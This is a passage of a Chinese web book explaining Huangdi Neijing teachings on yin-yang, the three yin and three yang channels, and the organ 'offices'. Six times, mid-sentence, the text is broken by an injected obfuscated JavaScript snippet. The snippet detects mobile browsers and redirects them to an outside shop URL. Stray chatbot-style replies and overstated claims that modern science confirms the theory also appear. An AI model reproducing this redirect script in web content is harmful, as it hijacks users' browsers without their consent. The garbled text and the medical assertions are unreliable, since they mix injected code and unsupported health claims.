这种解释虽然带有一定的象征性和抽象性，但它体现了中医理论中阴阳平衡、五行相生的基本思想。在中医看来，人体内部的各种功能都是相互关联、相互影响的，只有保持阴阳平衡、五行相生的状态，人体才能保持健康。同时，这种解释也为我们提供了一种理解人体功能和疾病发生的独特视角。 首先，我们来解析一下“西方阴也，音者其精并于下，并于下则下盛而上虚，故其耳目不聪明而手足变也”这一论述。 在中医理论中，西方通常与秋季、金元素和阴气相联系。这里说“西方阴也”，是指在西方或秋季，阴气相对较为强盛。而“音者其精并于下”，可以理解为声音或听觉的精华（即能量）主要集中在人体的下部，这是因为金元素主肺，与声音直接相关，且其性质沉降，故精气聚于下。 由于精气聚于下，下部因此充实而强盛，而上部则相对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428617|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空虚。这种阴阳分布的不平衡，导致人体上部（特别是耳目）的功能受到影响，表现为耳目不聪明，而下部（手足）则因为精气充实而发生变化，可能表现为力量增强或其他相关症状。 接下来，“故具感于邪，其在上则右甚，在下则左甚”这句话，进一步说明了阴阳不平衡时人体对邪气的易感性和表现特点。由于人体内部的阴阳分布不均匀，当邪气侵袭时，往往会在阴阳失衡的地方表现得更为明显。具体来说，上部（阳）的邪气多表现为右侧症状较重，而下部（阴）的邪气则多表现为左侧症状较重。 “此天地阴阳所不能全也，故邪居之”是对前述理论的总结。它强调了天地间的阴阳变化是不可避免的，而人体内部的阴阳平衡也会受到外界环境的影响而发生变化。当阴阳失衡时，人体就容易受到邪气的侵袭，从而导致各种疾病的发生。 这个论述通过中医的阴阳五行学说，解释了人体与自然环境中阴阳变化的对应关系，以及这种对应关系如何影响人体的健康和疾病发生。同时，也提醒我们在日常生活中要注意保持阴阳平衡，以预防疾病的发生。 关于“故天有精地有形，天有八纪，地有五里，故能为万物之父母”的论述，这实际上是中国古代哲学和宇宙观的一种体现，尤其与中医的“天人合一”思想紧密相连。 “天有精地有形”，这句话表达的是宇宙间的基本构成。在古人的观念中，“天”代表着精神、能量、无形无质的宇宙本源，而“地”则象征着物质、形体、有形有质的实体。两者相互依存、相互作用，共同构成了宇宙的基础。 这章没有结束，请点击下一页继续阅读！ 第5章 （9）阴阳平衡之道：中医视角下的疾病治疗法 首先，对于《黄帝内经》中“素问”部分的这一深刻见解，它确实为我们揭示了疾病预防与治疗的真谛。正如你所说，当邪气侵入人体时，其速度之快，如同风雨骤至，因此把握治疗的时机，从浅至深，层层递进，至关重要。 在实际生活中，我们首先要明白“治未病”的重要性。这不仅仅是在疾病初现时立即治疗，更重要的是通过日常养生来增强身体抵抗力，从而预防疾病的发生。比如，合理的饮食搭配，确保身体获得足够的营养；适当的体育锻炼，增强身体素质；保持良好的作息习惯，让身体有足够的休息时间。这些都是我们日常可以做到的，对于预防疾病有着不可忽视的作用。 然而，当疾病已经发生时，我们也不能坐视不理。根据疾病的深浅程度，我们需要采取不同的治疗策略。在疾病尚处于皮毛、肌肤等浅层次时，我们可以选择中医的针灸、拔罐、推拿等方法，或者西医的物理疗法、外用药等，来迅速控制病情，防止其进一步深入。这些方法能够迅速作用于病灶，减轻症状，为后续治疗打下良好的基础。 当疾病深入到筋脉、六腑等层次时，治疗难度会进一步加大。此时，我们需要根据具体情况，采用中医的汤药、针灸、艾灸等综合疗法，或者西医的药物、手术等手段，来深入治疗，消除病根。在这个过程中，我们需要耐心和信心，因为治疗疾病往往需要时间和耐心。 最后，当疾病已经影响到五脏时，这往往意味着病情已经十分严重。此时，我们需要在专业医生的指导下，采用最为合适的治疗方案，同时做好心理准备，积极面对治疗过程中的各种困难和挑战。虽然治疗难度极大，但只要我们保持信心，积极配合治疗，仍然有可能战胜病魔。 总之，“故邪风之至，疾如风雨，故善治者治皮毛”这一原则不仅告诉我们在治疗疾病时要把握时机，从浅至深，层层递进，更提醒我们要注重日常生活中的养生保健，提高身体抵抗力，预防疾病的发生。同时，在疾病发生时，我们也要根据具体情况，采取合适的治疗策略，积极治疗，争取早日康复。 故天之邪气感则害人五脏，水谷之寒热，感则害于六腑，地之湿气，感则害皮肉筋脉 《黄帝内经》中的这一论述，为我们揭示了自然界中的邪气如何影响人体的健康。首先，我们要明确，这里的“天之邪气”指的是来自天空中的不利气候因素，如风雨雷电、寒暑燥湿等；“水谷之寒热”则是指我们日常饮食中的温度差异，过热或过寒的食物都可能对人体产生不良影响；而“地之湿气”则是指地面上的湿气，长期居住在潮湿环境中，人体的皮肉筋脉也容易受到损害。 当天之邪气侵袭人体时，它们首先会伤害到我们的五脏。五脏作为人体生命活动的中心，负责调节全身的气血运行和脏腑功能。当邪气入侵时，会干扰五脏的正常功能，导致气血紊乱，脏腑功能失调，从而引发各种疾病。 而水谷之寒热对六腑的影响同样不容小觑。六腑主要负责人体的消化吸收、排泄等功能，它们与饮食的关系十分密切。当我们摄入过热或过寒的食物时，会直接影响到六腑的功能，导致消化不良、腹泻、便秘等症状的出现。 此外，地之湿气也会对我们的皮肉筋脉造成损害。长期居住在潮湿环境中的人，容易出现皮肤湿疹、关节疼痛等问题。这是因为湿气会阻碍气血的运行，导致气血不畅，从而影响到皮肉筋脉的健康。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428618|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因此，我们在日常生活中要注意避免这些不良因素的侵袭。保持良好的生活习惯，合理饮食，避免过度劳累，同时也要注意居住环境的干燥和通风。此外，适当进行体育锻炼，增强体质，提高身体抵抗力也是非常重要的。 总之，天之邪气、水谷之寒热和地之湿气都会对人体健康产生不良影响。我们要时刻注意防范这些不良因素的侵袭，保持身体健康。 故善用针者从阴引阳，从阳引阴，以右治左，以左治右，以我之彼，以表之里，以观过与不及之理，见微得过，用之不殆 这个问题涉及到了中医针灸理论中的深刻内涵。在中医针灸学中，“善用针者”指的是那些精通针灸之道，能够灵活运用针灸技术治疗疾病的医者。他们深知人体阴阳之平衡、左右之互应、内外之相通的原则，能够以此为依据，精确施针，达到治疗疾病的目的。 “从阴引阳，从阳引阴”是中医针灸理论中的一条重要原则。它指的是在施针时，医者要能够准确判断病邪所在的阴阳属性，通过刺激相应的穴位，达到调整阴阳平衡的目的。比如，当病邪在阴分（即人体内部）时，医者可以通过刺激阳分（即人体外部）的穴位，引导阳气入阴，从而达到治疗的效果。反之亦然。 “以右治左，以左治右”则体现了中医针灸治疗中的左右互应原则。在中医理论中，人体的左右两侧是相互关联的，左侧的穴位可以影响右侧的功能，右侧的穴位也可以影响左侧的功能。因此，在施针时，医者可以根据病情需要，选择刺激左侧的穴位来治疗右侧的疾病，或者选择刺激右侧的穴位来治疗左侧的疾病。 这章没有结束，请点击下一页继续阅读！ 第6章 阴阳离合论 阴阳离合论，作为中医理论中的核心概念之一，其基本概念涉及了阴阳两种对立统一力量的分离与结合。以下是关于阴阳离合论的基本概念的详细解释： 一、阴阳的概念 阴阳，在中医理论中，是描述事物内部相互对立又相互依存的两个方面。它们不是绝对的两个实体，而是指同一事物内部相互对立的两种属性。比如，在天体中，太阳为阳，月亮为阴；在一年中，春夏为阳，秋冬为阴；在人体中，体表为阳，体内为阴；机能活动为阳，组织结构为阴等。 二、阴阳离合的含义 阴阳离合，是指阴阳两种力量在一定条件下的分离与结合。具体来说，包括两个层面的含义： 1. 阴阳之间的相互转化：即阴转化为阳、阳转化为阴的过程。这种转化是宇宙万物的基本规律，也是生命活动得以持续进行的基础。 2. 阴阳之间的相互作用：即阴与阳之间的相互制约、相互促进的关系。这种作用表现为在一定条件下，阴阳两种力量相互依存、相互制约，共同维持着事物的平衡和稳定。 三、阴阳离合与人体健康 在人体中，阴阳的离合变化表现为脏腑之间的相互协调与制约，以及经络之间的气血流通与阻滞。当人体处于健康状态时，脏腑经络的阴阳属性保持相对平衡，阴阳之间相互制约、相互促进，维持着人体的正常代谢和生理功能。然而，当人体受到外界环境或内部因素的影响时，脏腑经络的阴阳平衡可能被打破，导致阴阳离合的变化。这种变化可能表现为脏腑功能的亢进或减退、经络气血的瘀滞或不足等病理现象。 四、阴阳离合论的现代意义 阴阳离合论不仅在中医学中有着广泛的应用，在现代医学中也具有一定的参考价值。例如，现代医学研究发现人体内部的激素水平、免疫功能等生理过程都存在着类似阴阳离合的变化规律。这些发现进一步印证了中医阴阳离合理论的科学性和实用性。同时，阴阳离合论也为我们提供了一种从整体和动态的角度来理解生命活动的新思路和新方法。 综上所述，阴阳离合论是中医理论中的核心概念之一，它涉及了阴阳两种对立统一力量的分离与结合。通过理解阴阳离合的基本概念和应用规律，我们可以更好地理解生命的本质和人体健康的机制，为临床治疗和预防提供科学依据。 阴阳离合论，作为中医理论的重要组成部分，其应用范围广泛且深远。以下是对阴阳离合论应用的详细阐述： 一、在中医学中的应用 1. **诊断**：根据人体的阴阳平衡状态，医生可以通过望、闻、问、切等中医特有的诊断方式，判断疾病的阴阳属性。比如，面色红润、声音洪亮多属阳症，面色苍白、声音低微多属阴症。 2. **调理**：中医强调阴阳调理，通过草药治疗、针灸等方法来调整人体的阴阳平衡，以达到治疗疾病的目的。例如，对于阴症的患者，可能会使用温补的药物来增强其体内的阳气；对于阳症的患者，可能会使用清热降火的药物来调和其体内的阴气。 3. **食疗**：中医中有关于食物阴阳性质的分类，通过食物的阴阳属性来进行膳食调理，维护身体的健康。如生姜、羊肉等属于温性食物，适合阴症人群食用；而绿豆、苦瓜等属于寒性食物，适合阳症人群食用。 二、在生命哲学中的应用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428619|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴阳离合论不仅在中医学中有所应用，更在生命哲学中扮演着重要的角色。它揭示了宇宙中阴阳两种对立统一力量的变化与分离，体现了生命活动的本质和规律。通过理解阴阳离合论，我们可以更深入地理解生命的本质和人体健康的机制。 三、在宇宙观中的应用 阴阳离合论也体现了古人对宇宙的认知。在《黄帝内经》中，阴阳离合论被用来解释天体运行、四季变化等现象。它认为，天为阳，地为阴；日为阳，月为阴。大小月三百六十日成一岁，人亦应之。这种观念不仅体现了古人对宇宙和自然现象的深刻理解，也为我们提供了一种从整体和动态的角度来理解生命和宇宙的新思路。 四、在临床实践中的意义 1. **指导治疗**：通过判断疾病的阴阳属性，医生可以选择相应的治疗方法，如温补、清热等，以达到调和阴阳、治疗疾病的目的。 2. **预防疾病**：了解阴阳离合论的原理，可以帮助我们预防疾病的发生。比如，在季节交替时，注意调整饮食和生活习惯，以保持体内的阴阳平衡。 3. **养生保健**：通过阴阳离合论的原理，我们可以了解食物的阴阳属性，从而选择合适的食材进行膳食调理，以达到养生保健的目的。 总之，阴阳离合论在中医学、生命哲学、宇宙观以及临床实践中都有着广泛的应用。它不仅揭示了生命活动的本质和规律，也为我们提供了一种从整体和动态的角度来理解生命和宇宙的新思路。《阴阳离合论》它强调了阴阳平衡的重要性，并指出了通过调节阴阳平衡来恢复健康的方法。这对于我们理解中医的阴阳理论以及指导临床实践都具有重要意义。 第6章 （1）揭秘天地阴阳：人与自然变化的奥秘 黄帝所提及的天地阴阳与人体相应的问题，实则是中医理论中关于“天人合一”和“阴阳五行”的核心观点。在古代中国哲学中，天地万物被视为一个有机的整体，其中天与地、日与月、阴与阳都是构成这一整体的基本要素。而人体，作为自然界的微缩模型，其生理和病理状态同样遵循着这些规律。 天与地、日与月、大月与小月所构成的周期性变化，体现了宇宙间阴阳消长的规律。天为阳，地为阴；日为阳，月为阴；大月为阳盛，小月为阴盛。这种阴阳的交替变化，不仅影响着自然界的万物生长，也影响着人体的生理功能。例如，春夏季节，阳气渐盛，人体气血运行加速，新陈代谢旺盛；秋冬季节，阴气渐盛，人体气血运行减缓，新陈代谢减缓。 人体内部的阴阳平衡也至关重要。在中医理论中，人体的阴阳平衡被视为健康的关键。当阴阳失衡时，人体就会出现各种疾病。因此，中医治疗疾病的方法之一就是调和阴阳，使之恢复平衡。 黄帝所问的“人体也与此相应”的道理，可以理解为人体内部的生理变化与天地阴阳的消长变化是相呼应的。例如，人体的气血运行、脏腑功能等都会受到自然界阴阳变化的影响。因此，中医在治疗疾病时，不仅要考虑人体的内部状况，还要考虑自然环境对人体的影响。 黄帝所问的天地阴阳与人体相应的道理，体现了中医理论中“天人合一”和“阴阳五行”的核心观点。这种观点不仅揭示了人体与自然界之间的密切联系，也为中医治疗疾病提供了重要的理论依据。 岐伯的回答确实充满了深刻的哲理，他指出了阴阳概念在中医理论中的广泛适用性和深度层次。阴阳不仅仅是一个简单的对立统一概念，而是一个可以无限细分的哲学体系。 从数量上看，阴阳可以被分为十个、一百个、一千个、甚至一万个不同的层次。这并不是说阴阳本身真的有这么多具体的划分，而是指在不同层次、不同领域中，阴阳的表现形式和作用机制是多种多样的。例如，在中医理论中，阴阳可以用来描述人体的气血、脏腑、经络等各个方面，每个方面都可以进一步细分为更具体的阴阳变化。 尽管阴阳的具体表现形式多种多样，但其核心原理却始终如一。阴阳的相互对立、相互依存、相互转化，是宇宙间万物生成、变化、发展的基本规律。在人体中，阴阳的平衡与失调，直接影响着人体的健康与疾病。因此，岐伯的回答实际上是在强调阴阳理论在中医中的重要地位和应用价值。 通过岐伯的回答，我们可以进一步理解中医理论中的阴阳观念。阴阳不仅仅是一个简单的概念，而是一个具有深刻哲学内涵和广泛适用性的理论体系。在中医的实践中，通过对阴阳的深入理解和运用，我们可以更好地认识人体的生理和病理状态，为治疗疾病提供有力的理论支持。 在自然界中，天覆盖着大地，阳光雨露滋润着万物，使其得以生长。在这个过程中，阴与阳的概念确实起着至关重要的作用。 那些还未出土的植物，它们深藏于土壤之中，吸收着地母的精华，却尚未接受阳光的洗礼。这时，它们所处的环境可以说是“阴处”，因为它们尚未显露于外，处于一种潜在、内敛的状态，这就是所谓的“阴中之阴”。 而当这些植物破土而出，它们便开始接受阳光的照耀，进行光合作用，产生能量，这是它们生命活动的重要一环。这时，它们已经从“阴中之阴”转变为了“阴中之阳”。因为它们虽然仍然扎根于土壤（阴），但已经开始展现生命的活力（阳）。 至于你提到的“阳气给予万物以生命，阴气则是万物赖以生存的基础”，这确实是一个深刻的见解。阳气代表着活力、生长和变化，它给予万物以生命和动力；而阴气则代表着稳定、滋养和基础，它为万物的生长提供了必要的环境和条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428620|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件。在自然界中，阴阳相互依存、相互转化，共同维持着生态平衡和万物生长。 总之，很好地诠释了自然界中阴阳的相互关系和作用。希望这个回答能对你有所帮助。 现在问题深入到了自然界与人类生命活动的根本规律之中。确实，万物在四季更迭中遵循着生发、成长、收获、储藏的循环过程，这背后正是阴阳变化的精妙体现。 春天，万物复苏，生机盎然，这是阳气逐渐升腾、阴气逐渐消退的季节。阳气生发，万物复苏，植物开始发芽，动物开始活跃，大地呈现出勃勃生机。 夏天，阳气达到鼎盛，万物进入快速生长阶段。这时，阳光充足，雨水丰沛，为万物的成长提供了充足的能量和条件。 到了秋天，阳气逐渐收敛，阴气开始占据主导，万物进入收获的季节。果实成熟，谷物丰收，这是大自然对人类辛勤付出的回馈。 冬天，阴气最盛，阳气潜伏，万物进入储藏和休眠状态。这时，大地封藏，动物冬眠，人们也减少活动，储存能量，为来年的生长和发展做好准备。 如果四时阴阳失序，气候无常，天地间的生长收藏的变化就会失去正常。比如，春天过于寒冷，夏天过于炎热，秋天过于干燥，冬天过于温暖，都会影响到万物的生长和发展。同样，人体也 会受到这种阴阳失序的影响，出现各种疾病和健康问题。 至于人体内部的阴阳变化，同样是有规律可循的。中医理论认为，人体内部也有阴阳之分，阴阳平衡是健康的关键。当人体内部的阴阳失衡时，就会出现各种疾病和健康问题。因此，中医通过调整人体内部的阴阳平衡来治疗疾病和保健养生。 阴阳变化是自然界和人类生命活动的基本规律之一。了解这种规律，不仅有助于我们更好地理解自然界和人体内部的运行机制，还有助于我们更好地保健养生和预防疾病。 第6章 （2）三阴三阳经离合全攻略：中医养生必读 本节内容有些深刻难懂， 没有学过中医的朋友们，可先了解三阴和三阳经都是什么？以后会在相应的章节给朋友们仔细分析。 黄帝，作为中华民族的人文始祖，对于医学与天地自然之道的探求，无疑为后世中医理论的发展奠定了坚实的基础。当黄帝问及三阴三阳的离合情况时，我们确实需要深入中医的理论体系来寻找答案。 在中医理论中，三阴三阳并非仅仅是对阴阳之气的简单分法，而是与人体脏腑、经络、气血等生命活动密切相关的复杂体系。三阴三阳，即太阴、少阴、厥阴与太阳、少阳、阳明，它们分别代表了人体内阴阳之气的不同状态和变化。 具体到三阴三阳的离合情况，我们可以从以下几个方面来理解： 从脏腑角度来看，三阴三阳与五脏六腑的阴阳属性相对应。例如，太阴对应脾，少阴对应心肾，厥阴对应肝；而太阳对应膀胱，少阳对应胆，阳明对应胃与大肠。这些脏腑的阴阳属性与三阴三阳的状态变化密切相关，共同维持着人体的阴阳平衡。 从中医的经络理论来看，三阴三阳确实与人体经络系统紧密相连，并在其中扮演着至关重要的角色。经络被视为人体内气血流通的通道，是连接五脏六腑、四肢百骸的网络系统。而三阴三阳，即太阴、少阴、厥阴与太阳、少阳、阳明，则是这一系统中对经络属性和功能进行分类的重要标签。 具体来说，三阴三阳的概念源于《黄帝内经》等古典中医着作，它们分别代表了不同的阴阳属性和脏腑经络的关联。例如，太阴对应脾经，主运化水谷精微；少阴对应心经和肾经，主水火既济、精神内守；厥阴对应肝经，主疏泄调达。而太阳、少阳、阳明则分别对应膀胱经、胆经和胃经等，各自有其独特的生理功能。 通过经络的传导作用，三阴三阳之气得以在人体内流通，从而实现气血的输布和脏腑功能的调节。这种调节过程是复杂而精细的，它涉及到脏腑之间的相互配合、气血的相互转化以及人体与外界环境的相互适应等多个方面。 从气血的角度来看，三阴三阳与气血的运行状态确实有着密不可分的联系。气血，作为构成人体和维持生命活动的基本物质，其充盈程度和运行状态直接决定了人体的健康状况。 在中医理论中，三阴三阳是对人体阴阳属性和脏腑经络功能的分类。其中，三阴（太阴、少阴、厥阴）主要关联于阴血和阴液的生成、贮藏与调节，而三阳（太阳、少阳、阳明）则与阳气的生发、温煦和推动密切相关。 气血在人体内的运行状态，受到三阴三阳之气的调节。当三阴三阳之气平衡时，气血得以顺畅流通，人体的生理功能能够正常发挥，阴阳平衡得以维持。然而，一旦三阴三阳之气失衡，气血的运行状态也会受到影响，从而引发各种健康问题。 例如，当三阴之气不足时，可能会导致阴血和阴液亏虚，表现为面色苍白、头晕耳鸣、心悸失眠等症状。此时，需要通过滋阴养血的方法来调和三阴之气，以恢复气血的正常运行状态。 而当三阳之气过盛时，可能会导致阳气亢盛、气血运行过速，表现为面红目赤、心烦易怒、口渴多汗等症状。此时，需要通过清热泻火的方法来调和三阳之气，以减缓气血的运行速度，恢复其正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428621|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常的平衡状态。 因此，从气血的角度来看，三阴三阳与气血的运行状态息息相关。通过调和三阴三阳之气，可以维持气血的正常运行状态，进而保持人体的阴阳平衡和生命活动的正常进行。 三阴三阳，即太阴、少阴、厥阴，以及太阳、少阳、阳明，它们确实代表了人体内部阴阳的六种不同状态和变化。这些状态和变化不仅是中医理论中的基本概念，而且与自然界中的阴阳消长、五行生克等理论有着深厚的联系。 在中医理论中，阴阳被视为构成宇宙万物的两种基本元素。阴阳的相互对立、相互依存、相互消长，是宇宙间一切事物生长、发展、变化和消亡的根源。而三阴三阳则是阴阳在人体内部的具体体现，它们分别代表了人体内部阴阳的六种不同状态和变化。 太阴、少阴、厥阴代表了阴气的不同发展阶段。太阴为阴气的初始阶段，阴气开始逐渐生成和积累；少阴为阴气的发展阶段，阴气逐渐强盛并达到高峰；厥阴为阴气的衰退阶段，阴气开始逐渐减弱和衰退。而太阳、少阳、阳明则代表了阳气的不同发展阶段，与阴气的发展阶段相互对应。 这些阴阳状态和变化与自然界中的阴阳消长、五行生克等理论有着密切的联系。例如，在自然界中，春季阳气生发，万物复苏，与人体内部的少阳状态相对应；夏季阳气旺盛，天气炎热，与人体内部的太阳状态相对应；秋季阴气逐渐增强，万物开始凋零，与人体内部的少阴状态相对应；冬季阴气强盛，天气寒冷，与人体内部的太阴状态相对应。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第7章 灵兰秘典论 《灵兰秘典论》是《黄帝内经·素问》中的第八篇，是一篇极具深度和价值的医学文献。本文旨在提供一个清晰的概述，以便读者能够更好地理解其内容和意义。 一、背景与命名 关于“灵兰秘典论”的背景与命名，首先我们需要澄清一点，实际上在中医的经典文献中，并没有直接名为“铃兰秘典论”的篇章。但鉴于问题中的“铃兰”可能与《黄帝内经·素问》中的“灵兰秘典论”有所混淆或者引申，我将基于《黄帝内经·素问》中的“灵兰秘典论”来进行解答。 一、背景 《黄帝内经》是中医理论体系的基石，分为《素问》和《灵枢》两部分，而“灵兰秘典论”则是《素问》中的第八篇。这一篇章主要讨论了人体脏腑的生理功能及其相互之间的关系，体现了中医对人体生理、病理认识的深刻见解。 二、命名 “灵兰秘典论”的命名蕴含了深厚的文化意蕴。 1. 灵兰：灵兰，即“灵台兰室”之简称，相传是古代帝王藏书之所。这里的“灵台”有指心之意，因为心在中医理论中被认为是五脏六腑之大主，主管人的精神意识思维活动。而“兰室”则是对君子住所的雅称，象征着高洁的品质。将二者结合，既表达了心作为人体核心的重要性，也体现了中医理论的高雅与深远。 2. 秘典：秘典，即珍重之辞，指秘藏之典籍。在《灵兰秘典论》的篇末有“藏灵兰之室，以传宝焉”之语，强调了所论内容的重要性。作者认为，本篇内容至关重要，必须把它作为值得秘藏于灵台兰室的典籍，故以“灵兰秘典论”名篇。 三、总结 “灵兰秘典论”的命名不仅体现了中医理论的深厚底蕴和高雅品质，也表达了作者对脏腑生理功能及其相互关系的深刻认识和珍视。这一命名方式不仅生动形象，而且富有哲理，有助于我们更好地理解中医的脏腑理论。同时，它也提醒我们，在传承和发扬中医文化的过程中，要珍视这些珍贵的典籍，不断挖掘其深层次的内涵和价值。 二、主要内容 《灵兰秘典论》主要论述了人体脏腑的生理功能，特别是心、肺、肝、胆、膻中、脾胃、大肠、小肠、肾、三焦、膀胱等十二个脏腑的“贵贱”与“相使”。这里的“贵贱”并非指社会地位的高低，而是指脏腑在人体生理活动中的主要和次要作用；而“相使”则强调了脏腑之间的协调配合关系。 具体来说，心被喻为“君主之官”，是五脏六腑的统帅，主管人的精神意识思维活动；肺为“相傅之官”，辅佐心君，主治理调节全身的气血津液及脏腑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428622|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活动；肝为“将军之官”，主怒，刚强之性，负责谋虑和决断；胆为“中正之官”，主决断，保持清净之态；膻中为“臣使之官”，维护心君并传达其命令，主管喜乐之情；脾胃为“仓廪之官”，主司饮食的受纳和运化，为身体提供营养；大肠为“传道之官”，负责传送食物的糟粕，变化为粪便排出体外；小肠为“受盛之官”，承受胃中下行的食物并进一步分化清浊；肾为“作强之官”，主骨生髓，充养脑髓，使人发挥潜力而产生各种技巧；三焦为“决渎之官”，主通行水道，调节水液代谢；膀胱为“州都之官”，主藏津液，通过气化作用排出尿液。 三、意义与价值 《灵兰秘典论》通过古代社会政治体制中的官制来类比人的脏腑功能，不仅揭示了脏腑在人体生理活动中的重要作用和相互关系，还强调了作为“君主之官”的心在养生和生命活动中的核心地位。这种类比方式不仅生动形象，而且富有哲理，有助于我们更好地理解中医的脏腑理论。同时，《灵兰秘典论》也强调了脏腑功能的协调平衡对于人体健康的重要性，为我们提供了宝贵的养生和治疗思路。 总之，《灵兰秘典论》是一篇极具深度和价值的医学文献，它为我们揭示了中医脏腑理论的奥秘和精髓，对于指导我们的养生和治疗具有重要的指导意义。 第7章 （1）人体奥秘：12脏腑的神奇功能与作用 黄帝所问的“十二脏之相使，贵贱何如？”其实是在探讨人体脏腑之间的功能联系与重要性。岐伯的回答，为我们揭示了中医理论中脏腑的“官职”与功能。 岐伯提到“心者，君主之官也，神明出焉。”这意味着在中医的脏腑理论中，心被视为君主，统领全身，主管神明，即精神意识、思维活动。心主血脉，推动血液在全身运行，为身体各部位提供必要的营养和氧气，确保生命活动的正常进行。 岐伯又说“肺者，相傅之官，治节出焉。”这表明肺在人体脏腑系统中扮演相辅的角色，即辅佐君主（心）的重要大臣。肺主气，司呼吸，调节全身气机，确保气的升降出入有序。同时，肺还有通调水道、朝百脉等功能，将气血津液输送到全身各处，维持身体的正常代谢。 肝被称为“将军之官，谋虑出焉”。这是因为肝主疏泄，具有调节情志、促进气血运行的功能。在中医看来，肝就像是一个国家的将军，不仅要谋划国家的未来，还要统领军队，确保国家的稳定与繁荣。同样，肝在人体中也扮演着类似的角色，它调节着人体的气血运行，确保身体各个部位得到充足的营养和氧气供应，从而维持身体的健康。 胆，被称为“中正之官，决断出焉”。胆与肝相连，主决断，能够帮助人们做出判断和决策。在中医理论中，胆气足的人通常能够迅速而准确地做出决策，而胆气不足的人则可能犹豫不决、优柔寡断。因此，胆的健康对于人的思维能力和决策能力都有着重要的影响。 膻中，被称为“臣使之官，喜乐出焉”。膻中位于两乳之间，是气之海，主喜乐。在中医理论中，膻中是一个非常重要的穴位，它与人体的情绪变化密切相关。当人体处于愉悦、舒畅的情绪状态时，膻中的气血流通会更加顺畅，从而有助于身体健康。反之，如果情绪抑郁、不畅，则可能导致膻中气血瘀滞，引发各种疾病。 脾胃被誉为“仓廪之官”，这是因为脾胃主要负责食物的消化、吸收和运输。脾主运化，胃主受纳，二者相互配合，将饮食水谷转化为人体所需的气血津液，供给全身脏腑组织使用。同时，脾胃还负责将食物中的“五味”输送到全身，满足人体的营养需求。 大肠，被称为“传道之官”。大肠的主要功能是传导糟粕，即将经过小肠消化后的食物残渣传导至肛门，排出体外。在这个过程中，大肠会吸收其中的部分水分，使残渣形成粪便。大肠的这种传导和排泄功能，对于维持人体的正常代谢和排毒具有重要意义。 小肠，它被称作“受盛之官”。小肠的主要功能是受盛和化物，即接收经过胃初步消化的食物，并在其内部进行进一步的消化和吸收。小肠通过分泌肠液和蠕动等方式，将食物中的营养物质转化为人体所需的气血津液，同时将其中的水分和无机盐等物质吸收进入血液和淋巴液，供给全身使用。 